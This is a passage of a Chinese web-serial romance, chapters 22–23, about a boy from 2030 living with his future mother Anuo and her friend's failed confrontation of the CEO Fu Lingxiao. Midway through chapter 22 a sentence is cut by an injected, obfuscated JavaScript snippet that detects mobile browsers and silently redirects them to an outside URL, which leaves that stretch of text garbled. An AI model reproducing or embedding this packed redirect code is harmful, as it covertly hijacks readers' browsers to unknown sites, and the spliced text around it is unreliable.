“人名你记不得了,人有什么面部特征你总有点印象吧?” 面部特征? 呵呵,当然有。 “老婆大人”那么貌美如花他都看不上一点,就是他爸比最大的面部特征。 “大概是个…瞎子吧。”诺宝撇嘴回答道。 闻声,安诺:“啊!?” 吓得眼睛都瞪大了。 他未来的老公,怎么,会是,瞎子呢?! ... 天空这头。 傅凌霄忽觉喉头一紧。 人正坐在办公位上批阅着文件。 喉咙太难受了,总觉得有人在背地里骂他似的,连带着胸口也闷闷的。 那是一种郁闷的,无语凝噎的感觉。 握拳,傅凌霄轻咳两声。 小助理进门来送咖啡时,刚好看见这一幕,犹犹豫豫地问道: “傅总,您这是...?” 傅凌霄绷着一张冰山冷脸,回人: “没事,感冒而已。” 22. 第22章(双更合一) (一) 这天晚上,安诺真硬着头皮和诺宝在公寓里住下了。 诺宝挺心安理得的,安诺却不然。 不知道为什么,她总觉得这公寓里的空气很是不一样。 “哪不一样了?”诺宝问她。 安诺站在厨房的洗菜池面前,一边洗西红柿一边猫头猫眼地环顾四周,回答说: “就,凉飕飕的。” 闻声,诺宝“啪”的一声关掉厨房大敞着的窗户,问: “还凉飕飕的不?” 安诺:“……” 尴尬一笑:“好像,好像不凉飕了。” 其实一直以来都是安诺自己在心理作怪罢了。 她总觉得天上掉馅饼的事情不是什么好事情。 一个140坪的公寓馅饼,确实是太大了点。 都快把她吃噎着了。 眼下,安诺的后背没再继续发冷,可她心里还是止不住地发慌。 像有一根羽毛胡乱窜动似的。 毛毛的。 “要不我们还是换个地方住吧?”她再次央求诺宝道。 小家伙却气鼓鼓的:“不行,就住这儿。” 嘿?安诺闹不明白了,把西红柿往菜板上一放,质问道: “那你告诉我,我们为什么非得住这里啊?” 诺宝勾唇一笑:“因为我可爱的妈咪没有多余的钱租房子啊,你不知道吗。” 安诺:“……” 又来了,又来了。 瞬间想把诺宝扔大街的心都有了。 她承认诺宝说得确实没错。 但这小家伙有时候说话真的挺毒舌的,再配上那张故意嘲弄人的嘴脸,真的是可恶又可恨至极。 这让安诺不免想到一个人。 傅,凌,霄。 “你不适合道歉。” “笑得太假了。” 这是两人第一次见面时傅凌霄“送”给她的话。 那冷腔冷调的说话语气,戏谑又讽刺至极。 不能说和诺宝捉弄人的语气一模一样,但两人脸上那股天然的轻蔑神色简直如出一辙。 真是神奇。 安诺忍不住感叹一声,而后眯眼,细细地瞧看面前的诺宝,越看越觉得头皮发麻。 不是她有幻想症,而是诺宝真的越看越像傅凌霄! 这已经不是她第一次这么觉得了。 最后煞有介事的,她问了一句: “欸小鬼,你说实话,你其实是认识傅凌霄的吧?” 说完死死地盯着诺宝看,那两双眼睛,如同鹰眼似的不放过诺宝脸上任何一丝异样情绪。 果然被她这么一问,小家伙眼神明显躲闪了一下。 但诺宝无疑是聪明的,很快恢复心绪淡定道:“不认识。” 安诺信他才怪。 “刚才你低了一下头,明明是在心虚。” 她拿着把柄继续逼问人。 “你肯定认识傅凌霄对不对?” 语气咄咄逼人且信心十足的样子,不知道的还以为她是名侦探柯南呢。 “呵。”诺宝轻嗤一声。 笑完扭头朝厨房外面走去,直接不搭理人了。 解释就是掩饰,自证就会落入别人的陷阱。 他可是听太爷爷说过这个道理的。 “你肯定认识傅凌霄,肯定,肯肯定定。” 安诺一边拿手帕擦手,一边不死心地从厨房追出来。 诺宝爬到客厅的沙发上,悠悠地甩出一句: “随你怎么说。” 突然穿越到2024年,连自己的亲妈都不信他,他怎么可能把自己老爸是傅凌霄的事情供出来。 因为他老爸更不会相信他。 他太了解他爸了,不幸的童年造就了傅凌霄冷漠无情的性格,也让傅凌霄成天就知道工作,大脑就如同一台逻辑严密的电脑,一切事物进入他的脑袋里都会被自动套入各种公式,而后迅速输出结果。 在傅凌霄的世界里,无时无刻都充斥着算法与规则。 与他而言,1就是1,2就是2,没人能改变他的思维惯性。 与其说是思维惯性,倒不如说是一种极具霸道的掌控欲。 但凡有一样东西脱离了他的控制,那便是不合理。 得尽快处理掉。 这便是傅凌霄,一个极端的强权者。 所以诺宝才会不止一次的听见家里面的帮佣背后吐槽傅凌霄是冷血动物,说他看人的眼神根本不带一点感情。 不过也有例外的时候,那个例外便是诺宝。 平日里,即使工作再忙他也会抽空陪他玩,给他买好吃的蛋糕,还有各种奥特曼玩具,但这也仅限于2030年的诺宝。 因为在2030年的世界里,他是他的儿子。 而现在不是2030年,是2024年。 2024年,傅凌霄27岁,没女人没结婚,孩子自然是无稽之谈。 以傅凌霄的为人,要是知道自己无端有个儿子,肯定会觉得这一定是商业对手在搞什么鬼把戏。 或者是安诺为了名利故意找这么一个孩子接近他。 总之,在他的眼里,诺宝的横空出世一定是有心之人的别有用途。 傅凌霄久经商场多年,早已造就了多疑的性格。 阴暗的童年生活当然也难逃其咎。 这是改变不了的。 到时候,说不定为了弄清楚这到底是怎么回事,傅凌霄直接大手一挥,找人把他和安诺连带着一起关押起来。 然后再请一堆侦探专家进行严刑逼供。 想着想着,诺宝偷咽一口口水。 自己是如何被大卸八块的他都想象出来了。 那画面,咦,真恐怖。 小家伙吓得小身板一抖。 其实,彻底认识到自己穿越到2024年后,诺宝在心里是有自己的小计划的。 他想着,首先他要找到妈咪,然后攻陷妈咪,让妈咪彻底信服他就是从未来来的,而且他真的是她的宝宝。 其次呢,他要好好陪着妈咪,他要把以前缺失的5年时间全部弥补回来。 他还要时时刻刻保护妈咪,不让那些预谋想害死妈咪的人得逞。 再然后便是,小家伙始终认为曾经妈咪的去世一部分是坏人作恶。 另一部分原因是源于他的爸比傅凌霄根本不爱他的妈咪。 因为不爱,所以不关心。 因为不爱,所以也不愿意花费心思照顾陪伴安诺。 由此坏人才会有机可乘,害死了安诺。 这一次不一样了。 他来到了2024年,他一定要想方设法让傅凌霄爱上安诺。 等傅凌霄和安诺有一定感情基础后,他再告诉傅凌霄他的真实身份也不迟。 到时候,爸比爱妈咪,自然也会爱他的。 然后他们一家人就可以幸福美满地生活在一起了。 不过,诺宝掀眼皮瞅一眼安诺。 这些天以来,安诺和傅凌霄的瓜葛诺宝也是有所耳闻的。 他没猜错的话,此时此刻他的妈咪不仅不喜欢他的爸比,甚至还对其深恶痛疾。 他还说先攻陷妈咪再攻陷爸比,最后一家人开心幸福的生活在一起呢。 现在看来,唉……路漫漫其修远兮啊。 小家伙在心里长长地叹了一口气。 ... 安诺并不知晓诺宝心里是那些小九九。 一晚上,她一直揪着诺宝是不是认识傅凌霄的这个问题不放。 而诺宝始终如一的回答是: “不认识不认识,就是不认识。” 小家伙态度如此坚决,安诺自然也拿人没办法。 但她也并不想就此轻易饶过诺宝。 这“大仇”,她必须报回去。 晚些时候,安诺炒了一盘西红柿炒蛋,把菜端上桌时,小家伙的表情肉眼可见的不好了。 “我们不会…只有这一道菜吧?” 想当初,他在傅家当小少爷的时候,哪里受过这种苦啊。 安诺学他以前的怪样子,故意扯唇一笑回答道: “恭喜你,答对了。” 话音刚落,公寓里响起诺宝的一阵哀嚎。 …… 晚饭后,因为公寓的事情,安诺仍旧没有停止自己的胡乱猜想。 他们所住的公寓总共有三间卧室,一间书房。 安诺和诺宝都不喜欢被打扰,所以一人霸占了一间房。 可诺宝毕竟只有5岁,安诺不敢离他太远了,所以两人的房间是紧挨在一起的。 两人这一觉睡下去,诺宝睡得那叫一个香甜。 安诺则是纯粹自作自受,自己吓了自己一晚上。 她躺在床上,翻来覆去的就是睡不着。 觉得公寓这个大馅饼“事出反常必有妖”。 眼下,细细回想一下这些天以来她所遭受的所有事情,其中自然也包括从天而降的诺宝。 越想安诺越发地觉得自己是不是被什么缠上了? 此时正逢半夜时分,夜深人静的。 周遭的空气都忽然变得阴森了起来。 简直恐怖。 不知不觉间,时间来到凌晨三点。 诺宝已经入睡好几个小时了。 安诺却神经兮兮地点着一根蜡烛,悄无声息地摸进诺宝的房间,而后在人床头前蹲下身子。 “小神仙,你不必藏了,我已经知道你是小神仙了。” “我也知道您下凡是想拯救贫穷的我,所以您让我住进了这免费的公寓,但是我真的不需要。” “您答应我,明天早上天亮之时,就随风去吧,听话啊,一定要随风去哦。” 说最后几句话时,她还特意朝窗外扇了好几下风,以此示意诺宝朝那里去。 碎碎念完,安诺拿着蜡烛径自冲着诺宝弯腰祭拜起来。 真把诺宝当成天外来的小神仙了。 连鞠三次躬后,又平添出别样的念想,请求道: “小神仙,另外再求您一件事情啊,求您快快赐我一个高大帅气,温柔体贴且有钱的男朋友吧,求您了,拜托拜托。” 其实从高中开始,安诺的身边并不缺追求者。 那会儿时常有人给她塞粉色信封,结果全被她扔垃圾桶了。 因为那时候的她,在教导主任黎玫同志也就是她妈的监督下,一心只想着考个好大学,根本无心顾及谈恋爱这种事情。 等上大学以后,兴许是高中的追求者们长得太过惊艳了,以至于大学校园里的“后来者”们根本入不了安诺的颜控眼。 其实,也有那么几个长得帅的。 可安诺总喜欢给人家挑出这样那样的毛病来。 第一个,嫌人家太幼稚。 第二个,嫌人家成绩不好,不学无术。 第三个,嫌人家太有钱了,纨绔子弟玩得花。 …… 总之一句话,没一个合适的。 对此许晓筱没少吐槽她。 “行了行了,你不适合找男朋友,你就适合孤独终老。” 当时,安诺挺不以为然的,等到现在,突然又觉得自己都20岁了,怎么连个男朋友都没有啊。 这也太惨了吧。 挑来挑去的,现在好了… 连“孩子”都找上门来了。 所以人们才会常说,明天和意外,你永远都不知道哪个先到。 这让安诺触动很深。 她觉得自己也该好好体验体验人生的各种可能了。 “求求了,让我尝尝爱情的苦吧。” 安诺对着诺宝又是一通跪拜行礼。 结果小神仙真的听到了她的祈祷,突然睁眼醒了。 “妈咪?”诺宝疑惑地喊道。 他不知道安诺为什么要祭拜他。 安诺正低头叩拜着,闻声,忽然身子一愣。 下一秒,“啊————鬼啊!” 尖叫着,人撒腿就跑。 诺宝从床上坐起身子,百思不解地绕头道: 妈咪不是说...她只相信科学吗? …… …… …… (二) 第二天,阳光普照大地。 是个好晴天。 安诺躺在床上,却是满脸疲倦。 兴许是昨晚的惊悚事件留下的后遗症太深了,她到凌晨四五点钟才勉强昏睡过去。 等阳光透过玻璃洒进来提醒她该起床时,她的嘴里都在念叨着: “鬼,有鬼”。 她没醒,只是在梦呓而已。 同一时间,诺宝在隔壁房间也醒了。 小家伙醒来的第一件事情,就是溜下床跑到隔壁房间来找安诺。 睡梦初醒的,安诺睁眼见到诺宝时,又是一声惊叫: “啊,鬼啊!” 诺宝:“……” 与其说他是鬼,小家伙觉得安诺才是真的像鬼。 熊猫眼,鸡窝头,窗外的阳光再一照,让安诺本就白皙的皮肤立马变得像吸血鬼一样煞白。 “呵。” 诺宝发出不屑的哂笑。 “我要是鬼,那妈咪你就是丑鬼无敌。” 安诺:“……” 一下子,人彻底清醒了。 诺宝不是鬼,更不是什么小神仙,顶多算个调皮捣蛋鬼吧。 认清现实的安诺,面无表情地踢被子准备起床。 诺宝看眼色地凑过去,“你生气了吗妈咪?” 安诺:“没有。” “那你怎么冷着一张脸?” “我喜欢。” 对话间,两人一前一后地朝卧室外面走去。 诺宝屁嘚儿屁嘚儿地跟着安诺,肚子咕噜咕噜叫个不停。 “妈咪,我们早上吃什么呀?”小家伙赔笑脸道。 安诺:“吃空气。” 诺宝立马张大嘴巴“嗷呜”一声。 表演吃空气。 安诺直接气笑了。 “行啦行啦,我马上给你点外卖。” 转念一想,“算了,外卖不健康,我还是做饭给你吃吧。” ... 作为独生子女,安诺在家里几乎没怎么做过饭。 黎玫女士虽然严格是严格,但基本上只是对安诺的学习要求比较高一些而已。生活上洗衣做饭什么的,虽然她也希望安诺能什么都做好。 但当父母的,哪里不疼孩子不惯孩子的,所以很多时候看见安诺脏衣服满床飞时,她睁一只眼闭一只眼就过去了。 至于安和桥,那就更不用说了,简直是把安诺当公主一样宠着,说不得骂不得,打就更是不可能了。 每次黎玫因为学习上的事情念叨安诺时,安和桥总是第一个冲出来护着安诺的。 这一边是尊敬的老婆大人,一边又是尊贵的宝贝公主。安和桥夹在中间,每次就知道嬉皮笑脸地打哈哈。 这回:“哎呀,老婆今天这身衣服真漂亮。哎哟,宝贝女儿今天也不错,一身小裙子像公主一样。” 下一回:“哦哟不生气不生气,来来,看今天我买了什么好东西。这个是老婆喜欢的榴莲,这个是宝贝喜欢的冰淇淋。” 再一回:“咋啦咋啦,今儿又是谁惹我的两个公主身生气了。告诉我,我去收拾他们。” “哦,原来是你们在搞互相伤害啊。” “不行,坚决不行,这样..我会难过的。” 说着说着,一个大大的拥抱就朝安诺和黎玫拥过去。 这架势,全天下的母子纷争就没他安和桥解决不了的。 在厨房煮面的时候,安诺忽然起来这些来,脸上又哭又笑的。 笑是觉得他们一家人太可爱太温馨了,哭是觉得... 她扭头看了一眼客厅沙发上的诺宝。 家伙正在看电视。 唉... 真是当妈才知父母难。 以前她一起床就有热气腾腾的饭菜等着她。 现在好了,轮到她起床给别人做早餐了。 呜呜呜,爸爸麻麻,我好想你们啊———— -- 早饭过后,公寓里来了一个意外的客人。 当时安诺正在厨房洗碗,诺宝跪在凳子上,拿着纸巾正在擦桌子。 “叮咚叮咚。” 听到玄关处忽然传出一阵门铃声时,安诺和诺宝的反应出奇的一致。 两人先是身形一顿,而后扭头就开始找“武器”。 安诺一把薅起厨台上的平底锅,而诺宝腾地一下跳下凳子,接着弯腰拾起了墙角的扫帚。 因为按诺宝的说法,公寓是他爷爷留给他的。 所以安诺举着平底锅出来,小声问诺宝道:“你爷爷来了?” 声音压得低低的,毕竟房子是别人的,他们已经偷偷在这里住上一晚上了,此时此刻,安诺直觉得心里虚得很。 有种偷摸“鸠占鹊巢”的负罪感。 “不知道啊。” 诺宝回答道,声音有些发颤。 这才住上一个晚上而已,不会真要被爷爷抓包了吧? 小家伙有些欲哭无泪。 等再一仔细想想,不应该啊,没记错的话,他出生的前两年傅锦山应该在国外讲学才对。 傅锦山这个人虽然为人处事有些不谙世事,但在中国水墨画上确实造诣颇深。 平时出门,人们高低得到叫他一声“傅大师”。 既然傅锦山眼下还在国外,那来者又是何人? 莫非…… “该不会是入室抢劫犯吧!?” 诺宝眼睛瞪大道。 安诺:“啊!?” 这时“咚咚咚”的,门外又传来一阵敲门声,声音闷重又洪亮,比刚才急躁了许多。 一听就知道那人是在用拳头砸门。 安诺和诺宝定定地站在原地,一动也不敢动。 等到“咚咚咚”的敲打声稍稍消停一点后,安诺这才带着诺宝轻手轻脚地朝着公寓大门走去。 不过两人并没有就此放下心里的戒备。 安诺一只手拉诺宝,一只手半举着平底锅。 而诺宝,又小又矮的个子非要使劲抱着那把大扫帚不松手。 晃眼一看,跟个小猪八戒似的。 两人蹑手蹑脚地走到大门跟前,哪想门外的“匪徒”又发作了。 用力敲打着门。 吓得安诺和诺宝一把举起手里的东西,就差朝大门用力砸过去了。 幸好一个熟悉的声音响起来这才阻止了两人的过激行为。 “安诺,死哪去了你?” 啊?安诺一惊:“许晓筱!?” 诺宝也一样,睁大双眼:“怎么是许晓筱姐姐啊?” ... 幸好一切只是虚惊一场。 许晓筱进门时,那破口大骂的唾沫星子都快把人给淹死了。 “不是,安诺你聋了啊,我敲门这么久你听不见的吗?” “还有你傅一诺,平时看你鬼精鬼精的,今天怎么回事,我敲门这么大声你都听不到,难不成你也聋了?” “服了服了,真是服了。” 许晓筱一边骂着人,一边把几十斤重的行李使劲往公寓里拽。 行李是安诺的。 昨晚她打电话让徐晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269740|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱帮她把寝室里的衣服收拾一下寄过来。 万万没想到的是,徐晓筱竟然一大早的自己亲自送过来了。 碍于这份情意,安诺哪敢还嘴啊。伸手赶忙去帮许晓筱一起搬行李。 至于徐晓筱骂她的那些话,权当左耳朵进右耳朵出了,嘴上还不得不停地陪笑抱歉道: “对不起嘛,让你久等了。” 诺宝也跟着大气不敢出一声,只是默默地把手里的扫帚偷偷藏到身后去。 …… 几分钟后,窗外天空泛蓝,白云朵朵。 安诺和许晓筱费了九牛二虎之力才把行李成功搬进她的卧室里。 那架势,又拖又拽的,差点没把安诺的腰给闪着。 原本她只是让徐晓筱给她收拾几件换洗的衣服而已,结果一大个麻布口袋都塞满了,估摸是把她寝室衣柜全部都给搬空了。 为此,徐晓筱给出的解释是: “我哪里知道你要换洗哪些衣服啊。” 人一边拍手上的灰一边又念叨道: “这不,全给你搬过来随你挑随你选,岂不是更好?” 安诺跟在她后面,特无奈的: “……行行行,你说啥就是…” “啥”字还没说出口,徐晓筱又硬生生打断她道: “我的妈呀安诺,你没干什么非法犯纪的事情吧?” 安诺:“啊?” 面露疑惑。 刚想问许晓筱话里到底是几个意思时,许晓筱大步流星的,三步并一步走,直接几步走到客厅落地窗前。 双手趴着窗户玻璃朝着外面一阵瞭望。 “哇,你这房子的视野也太好了吧。” 人感慨道。 两人搬东西的当儿,诺宝跑去上了个厕所。 上完厕所回来,小家伙耍宝似地跟着许晓筱趴在窗户上,一边眺望远处一边回人话道: “确实挺好的。” 指视野好的意思。 安诺站在旁边,看得脑仁有些胀痛。深怕许晓筱误会什么,忙不迭的开口解释道: “这房子不是…” 最后两个字“我的”即将脱口而出时,徐晓筱又打断她道: “哇,你这客厅也太大了吧。” 安诺:...... 此时徐晓筱已经没再看窗外的风景了,而是扭头环看起公寓内部的构置起来。 刚才她一直埋着脑袋,只想着和安诺一起赶紧把那硕重的行礼搬到卧室里去,所以根本没注意到原来脚下这套公寓居然这么大! 眼下,偌大的公寓客厅映入眼帘,许晓筱逐渐觉得难以置信起来。 起初,她不放心安诺在外面租房子,所以借着拿行李的缘由专程过来看看。 现在看来,她的担心好像有点多余了。 “你买彩票中大奖了!?”她忽然欣喜地问安诺。 这么大的一套公寓,还地处海城的商业中心,光租金都得一两万吧。 之前说安诺干违法犯纪的事情只是许晓筱的玩笑话而已。 那除了违法之事,许晓筱真想不出来什么方法能够快速发家致富了。 要不就是……傍上大款了? 徐晓筱眯眼好生瞧看安诺,目光至上而下又自下而上,来来回回三四遍后,人突然使劲摇晃起脑袋来,嘴里不停地念叨着: “不可能不可能,绝对不可能。” 安诺:“.......” 知道许晓筱心里在捣鼓什么,她想了想后不得已撒谎解释说: “呃,这房子是亲戚的,对,亲戚的,我们只是暂时住到这里而已。” 许晓筱这才:“原来如此,我就说嘛。” -- 一整个上午,徐晓筱没走。 客厅沙发上,诺宝和许晓筱一人躺一边。 一个拿着遥控板盯着电视,在看央视一台的《典籍中的中国》。 一个拿着手机在看《海绵宝宝》。 只不过,看《海绵宝宝》的是许晓筱,看《典籍里的中国》的是诺宝。 安诺坐在另外一个小沙发上,看诺宝盯着电视一副津津有味的样子不禁感慨道: 这小屁孩真的只有5岁吗? 常理而言,一个5岁的小孩是不可能喜欢看《典籍里的中国》这种文化节目的。 难道不是动画才是小孩子们的心头所爱吗? 这怎么到许晓筱和诺宝身上全反了呢。 可即便如此,安诺也只敢感叹诺宝的天资聪颖,不敢吐槽徐晓筱是个幼稚鬼。 因为她也喜欢看《海绵宝宝》,即便她已经20岁了。 这边,许晓筱看似是在看《海绵宝宝》,实则心思根本不在手机上面。 时不时的,她那双小狐狸眼睛总往安诺这边偷瞥,同时人脑子也没闲着。 各种思绪与猜想蜂拥而来。 昨晚打电话让许晓筱给她寄点衣服过来的时候,安诺给她提了一嘴诺宝找幼儿园上学的事情。 许晓筱的嫂子是一家私立幼儿园的行政主任。 安诺想找许晓晓嫂子的帮忙,所以特意在许晓筱面前说了一下。 眼下,许晓筱不是想帮安诺,而是觉得这事儿蹊跷得很。 按理说诺宝上学的事情应该诺宝的父母操心才是啊,怎么安诺还忙活上了。 更令人想不明白的是… 许晓筱挪动眼珠子,偷撇安诺的目光一下子移到了沙发另一头的诺宝身上。 小家伙看电视看得依旧津津有味。 许晓筱皱起鼻子,脑袋里想的是: 真是奇了怪了,这小鬼的家人到底怎么回事啊,都这么些天了居然一个电话都没有,难道都不关心这小家伙在外面过得好不好吗? 这也太不负责任了吧! 越想许晓筱越是觉得生气。 刚好一集节目完,诺宝扔下遥控器跑去上厕所去了,于是许晓筱逮着机会就问安诺道: “安诺宝贝,你之前不是说过两天诺宝的家人就来接诺宝的吗,怎么到现在还没动静啊?” 安诺正和一中介在聊天。 那中介向安诺承诺说只需要5000块钱就能让诺宝成功入学海城的私立幼儿园,即使没有户口也行。 因为不确定许晓筱的嫂嫂到底同意不同意帮忙。 所以她想着还是先四处打听打听比较好。 和中介聊得太火热的缘故,安诺根本没把徐晓的话听进去。 人随口打哈哈道: “啊对。” 手上却是万分着急地敲字问中介道: 【那个,我说的没户口不是没有海城户口,而是说没有中国居民户口。】 中介也近乎秒回道:【没有中国居民户口也没关系的,外籍户籍我们也收的。】 安诺:【呃……我们也没有外籍户口。】 这回中介顿了几秒,回了个“?”过来。 安诺打字重复道:【我们没有中国户口,更没有外籍户口。】 中介:【那你家孩子是个啥?】 这中介没别的意思,只是单纯在发问而已,但安诺看着心里很不是滋味。 什么叫你家孩子是个啥啊? 真是太不会说话了。 憋着一口气,安诺气回道:【我家孩子除了是人还能是啥。】 鸡同鸭讲,混乱至极。 最后中介终于明白过来了: 【所以说,你的意思是你家孩子是黑户!】 附图“震惊脸”表情包。 同一时间,震惊的还有许晓筱。 “什么,诺宝是黑户!?” 简直晴天霹雳似的,许晓筱吃惊地站在安诺身后,整个人都不好了。 刚才问完诺宝的父母怎么一直不来接诺宝的问题后,她又喊了安诺很多声,结果安诺都没回应她。 一看心思就没在她这里。 好奇心的驱使下,她悄悄起身走到了安诺身后。 想看看这手机里到底有什么好东西能让安诺这般入迷。 结果不看还好,一看吓一跳。 诺宝竟然是黑户! 许晓筱想过诺宝的父母不负责,但没想到竟会不负责任到这种程度。 “黑…户?” 她生气又迷惑地呢喃道,脸上仍旧一副难以置信的神色,眼神都有些失焦了。 “呃,这个,嗯……” 安诺被问得有些支吾。 她也挺惊讶的,惊讶许晓筱怎么突然跑她身后去了。 她要不偷摸跑到她身后来,哪里会知道这事儿啊。 昨晚提诺宝上学的事情时,安诺也特意没说诺宝是黑户的事情的。 想着过些时候,找个适合的机会再告诉许晓筱。 谁曾想,居然这么快就暴露了。 眼下安诺也不知道如何解释这件事情。 总不能把诺宝那套“穿越理论”说给许晓筱听吧。 那许晓筱不得更加跳脚? “嗯,这个这个……” 安诺结结巴巴的。 一时解释不上来,她只能这么拖着。 结果许晓筱突然开口道:“那个,我有事儿先走了。” 说着就往玄关走去。 整个人义愤填膺的,像是要去干仗似的。 可把安诺吓坏了,急忙追过去问人: “啥事情这么着急啊?” 许晓筱:“重要的事情,你别管。” 说完,“碰”的一声把门关上了。 …… 转眼,许晓筱出现在傅氏集团大门口。 为什么来这里? 因为她要找傅凌霄好好谈一谈他儿子傅一诺的事情。 23. 第23章(双更合一) (一) 在许晓筱构建的世界里,诺宝就是傅凌霄在外面的私生子。 只是傅凌霄一直以来似乎并不知道这件事情,所以在高尔夫球场上见到诺宝时傅凌霄没能认出诺宝来。 可这并不能抹掉诺宝是他孩子的事实。 傅凌霄完全有责任和义务对诺宝负责。 至于诺宝是黑户的事情,他这个当爸都不出面解决那还有谁能解决? 一想起这一茬,许晓筱瞬间一口怒气冒了上来。 “太不负责了,真是太不负责了。” 她叉腰站在傅氏大楼门口,嘴上止不住地一阵破骂。 …… 公寓里,安诺也是着急又上火的,简直坐立难安。 许晓筱摔门走的时候,她跟着追出去了一小段距离。 紧赶慢赶的,结果还是晚了一步。 许晓筱坐第一班电梯,安诺晚了几秒,等了一会儿才坐上第二班电梯。 等她到楼下时,许晓筱早已经不见踪影了。 诺宝肚子痛,在厕所里面蹲了了一些时候,出来,发现安诺倚着沙发正着急忙慌地在给谁打电话。 一通接着一通,可惜对面一个电话都没接。 “怎么了妈咪?”小家伙走过来关心道。 为了不让诺宝跟着瞎担心,安诺避重就轻地回答: “没怎么,我给你晓筱姐姐打电话呢。” 诺宝一瞬疑惑,“晓筱姐姐?” 说话时,他扭头环看四周,这才发现徐晓筱早就不在公寓里了。 “她去哪里了?”小家伙好奇地追问。 安诺咧嘴角,笑容无奈道:“呵呵,我也想知道。” 就这么直到中午安诺也没等到许晓筱的回信。 “好你个许晓筱,再不回信我要报警了!” 厨房里,安诺一边切菜一边控诉人。说到“报警”两个字时,手里的菜刀“哐当”一下剁在菜板上。 声音之大,把坐客厅沙发上看电视的诺宝都吓一大跳。 不知道的,还以为外面劈雷了呢。 心尖发抖着,诺宝十分自觉地把电视声音调小了很多。 安诺这状态,一看就是气急攻心的状态。 诺宝觉得自己还是暂且安静一点比较好,免得战火蔓延到他这里来,殃及于他。 等安诺炒好菜把一盘青椒土豆丝端上餐桌时,小家伙心里其实挺郁闷的。 哎~昨天吃番茄,今天又吃土豆,拜托,我是人不是兔子啊TT 意思是安诺光给他吃素的了,都不给他做肉吃。 但黑眼珠子往上一转,瞧见安诺一副要盯着他好好吃饭的严厉架势,诺宝只能默默地夹一大筷子土豆丝塞进嘴巴里。 不敢怒也不敢言的。 甚至还得做好表情管理,不然立马就会收到安诺的问责。 比如现在…… “愁眉苦脸的干嘛,嫌弃我炒的菜不好吃?” 安诺一出声,吓得诺宝急忙回复:“好吃,好吃。” 连说两次,强调意味十足,说着赶紧埋头又扒拉两口土豆子。 就怕安诺不信他说的。 殊不知,诺宝在心里都快哭了,一边扒拉土豆丝一边叫嚣道: 晓筱姐姐啊,你在哪里啊? 你快回来吧。妈咪她,她她她太恐怖啦! 终于,皇天不负有心人。 老天爷似乎都有些同情诺宝的“悲惨遭遇”了,于是安排许晓筱来了个突然袭击。 “叮咚叮咚。” 许晓筱站在公寓大门外,先是按了两声门铃。 碍于安诺和诺宝有“耳背”的前车之鉴,两声门铃按响下时,许晓筱还朝屋里大喊道: “喂喂喂,有人在家吗?” 就这大嗓门一喊,差点没把安诺和诺宝手里的筷子震地上。 可一听是许晓筱的声音,安诺和诺宝两人皆是眼睛一亮。 赶紧的,安诺放下碗筷走过去给人开门。 诺宝跟着跳下餐桌凳子,小短腿紧跟在安诺身后,嘴里还嚼着土豆丝。 突然之间,小家伙觉得今天中午的土豆丝好像也不是那么的难以下咽了。 原因无它,只因为许晓筱回来了。 安诺低气压了一个上午,可把他折腾得够呛。 …… 出门2个小时回来,也不知道发生什么事情了,许晓筱一张脸灰蒙蒙的,丧气得很。 安诺给人开门后第一时间就察觉到了许晓筱的异样情绪。 别看刚才叫门的时候那大嗓门嚎的,如有排山倒海之势似的。 哪想一见着真人,整个就是一棵枯萎的小草。 还毫无生气可言。 “你这……咋了这是?” 安诺难以置信地问人。 许晓筱:“别提了。” 说话时,人耷拉着肩膀撇着个嘴,表情焉巴焉巴地往客厅沙发走去。 安诺默默跟上。 许晓筱一个上午不接电话也不回短信,本来她打算要好好问责一下许晓筱的。 眼下,就许晓筱这状态,她哪里还有心思管这个。 “到底怎么啦你?” 她再次关心人说。 许晓筱往沙发一摊,张嘴回复:“见鬼了我。” 安诺:“哈?” 诺宝也跟着甚是不解地挠头。 …… 许晓筱口中的鬼不是别人,正是傅凌霄。 半个小时前,乌七八黑的地下车库里,空气潮湿又阴冷。 许晓筱独自一人蹲守在一个电梯口,肚子饿得都快前胸贴肚皮了,可为了等傅凌霄,她硬是撑着不敢离开半步。 实在饿极了,也就嘴上抱怨两句: “哥不是说他们中午12点就下班了吗?这傅凌霄咋还没下来啊?” 一开始她是在傅氏大楼正门口等着的,后来从她哥那里捞到小道消息说傅凌霄很少走正门,通常都是直接电梯下地下车库坐车的。 以及,虽然今天是周日,但傅凌霄是个工作狂,不出意外的话周六周天傅凌霄都会来公司加班处理公司事务。 所以许晓筱便从正门转站到了这地下车库来。 精准踩点地等在这电梯门口。 时间到来中午12点10分时。 如他哥所言,傅凌霄真的在地下车库露面了。 “叮咚”一声响,电梯门打开,傅凌霄修长的身影随即走出来。 而后发生的事情,如果可以,许晓筱希望从没发生过。 “傅凌霄,你站住,我有事和你说。” 她起身紧跟在傅凌霄身后,嘴里不停喊话道: “不对,是有事找你算账。” “虽然,虽然有的孩子他确实是个意外,但他只是个孩子,他有什么错。” 整个地下车库幽暗又僻静,对比一下,许晓筱的声音显得尖锐又刺耳。 傅凌霄朝自己车子走去,冷着一张脸,对周围的一切充耳不闻。 这架势,俨然是把许晓筱当成无关紧要的跟踪狂了。 直到听到那个名字,他才终于停了一下脚步,但也仅仅是停了一下脚步而已,并没有影响他继续往前。 “他才5岁,他什么都不懂,你不能对诺宝置之不管!” “就,就上次高尔夫球场见的那个小孩诺宝,你不知道吧,他的全名其实是傅一诺!就是,你名字傅凌霄的那个傅。” “所以,其实,他,他是你儿子懂吗?” 傅凌霄走太快了,许晓筱紧跟在后面说话气都快喘不匀。 等她劳心劳力费劲口舌说完这一长段话时,傅凌霄已经来到了自己车子面前,而后…… 开车门,伏身上车,启动引擎,车子扬长而去。 一套动作行云流水,根本不给许晓筱多余说话的机会。 黑漆漆的车库里,许晓筱愣站着,气到怀疑人生了。 这还没完,这时一个老奶奶突然冒出来。 奶奶一身黄色环卫装,左手拿铲子右手拿扫帚,冷不丁地对着许晓筱来了一句: “小姑娘,下次讹人的时候还是先做一下调查吧。” 许晓筱又气又迷惑的:“调查什么?” 老奶奶:“全公司都知道的,总裁有洁癖,没碰过女人。” 